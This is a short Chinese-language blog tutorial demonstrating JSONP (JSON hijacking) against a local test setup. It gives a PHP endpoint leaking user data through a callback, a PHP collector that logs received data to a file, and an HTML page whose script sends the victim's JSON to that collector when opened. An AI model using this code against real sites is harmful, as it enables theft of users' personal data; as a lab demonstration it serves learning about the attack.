前言
Json劫持
当前目录创建三个文件
然后json.php中写入
1 2 3 4 5 6 7 8 9 10 11 12
|
<?php
header('Content-type: application/json'); $callback = $_GET['callback']; print $callback.'({"id":"1","name":"dongjun","email":"[email protected]"});';
?>
|
下面一个jsonre.php中写入来获取信息
1 2 3 4 5 6 7 8 9
|
<?php
$content = $_GET['file']; if(isset($content)){ file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content); }else{ echo 'no data input'; } ?>
|
最后一个index.html写一个网站来发包,获取数据传入jsonre.php中,json利用是和csrf很像的,都是需要被攻击者点击,index.html中写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script> function test(data){ var xmlhttp = new XMLHttpRequest(); var url = "http://127.0.0.1/json-xpath/jsonre.php?file=" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="http://127.0.0.1/json-xpath/json.php?callback=test"></script> </head> <body> </body> </html>
|
json.php显示的数据
当受害者打开index.html之后,就会将json数据发给攻击方
本地生成数据.txt的形式
我的个人博客
FROM:gylq.gitee Author:孤桜懶契
评论